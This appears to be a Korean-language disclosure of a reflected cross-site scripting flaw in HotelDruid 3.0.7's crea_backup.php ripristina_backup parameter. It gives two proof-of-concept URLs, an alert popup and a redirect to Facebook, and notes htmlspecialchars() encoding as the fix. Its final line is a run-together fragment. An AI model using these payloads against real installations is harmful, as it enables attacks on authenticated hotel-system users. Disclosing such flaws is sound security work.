
HotelDruid 3.0.7용 반사형 XSS 취약점 개념 증명으로, crea_backup.php의 ripristina_backup 매개변수를 통해 임의 JavaScript 실행을 보여줍니다.
DigitalDruid HotelDruid v.3.0.7의 크로스 사이트 스크립팅 취약점으로 인해 공격자가 crea_backup.php 엔드포인트의 ripristina_backup 매개변수를 통해 임의 코드를 실행하고 민감한 정보를 획득할 수 있습니다.
공격자는 인증된 사용자를 속여 조작된 URL을 방문하게 하여 사용자 브라우저에서 악성 JavaScript가 실행되도록 할 수 있습니다. 가능한 결과는 다음과 같습니다:
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup=%22%3E%3CscrIpt%3Ealert%28%27Huy%20Vo%20Found%20This%20Vulnerability%27%29%3B%3C%2FscrIpt%3E&dati_conn=attuali&mantieni_anni=1
결과: “Huy Vo Found This Vulnerability” 메시지가 포함된 팝업 알림이 나타나 XSS 실행 성공을 확인합니다.
http://localhost/hoteldruid/crea_backup.php?anno=2025&id_sessione=<valid_session_id>&azione=SI&ripristina_backup="><scrIpt>window.location.href='https://www.facebook.com';</scrIpt>&dati_conn=attuali&mantieni_anni=1
결과: 브라우저가 자동으로 Facebook으로 리디렉션됩니다.
HotelDruid는 호텔, 민박, 기타 숙박 업소의 예약, 객실, 청구를 관리하는 오픈소스 자산 관리 시스템입니다. 웹 기반이며 일반적으로 로컬 서버에 설치되어 브라우저를 통해 액세스됩니다. 웹 인터페이스와 관리적 특성을 고려할 때 강력한 보안이 중요하며, 특히 인증된 기능에 대해 더욱 그렇습니다.
crea_backup.php 엔드포인트는 ripristina_backup 매개변수를 삭제나 인코딩 없이 처리하여 사용자 입력을 페이지에 직접 반영합니다. 이로 인해 공격자는 악성 URL을 만들어 인증된 사용자에게 렌더링되는 페이지에 임의의 JavaScript를 주입할 수 있습니다.
ripristina_backupcrea_backup.phpid_sessione)ripristina_backup에 페이로드를 주입한 악성 URL을 생성합니다.htmlspecialchars()를 사용하여 < 및 > 문자 인코딩).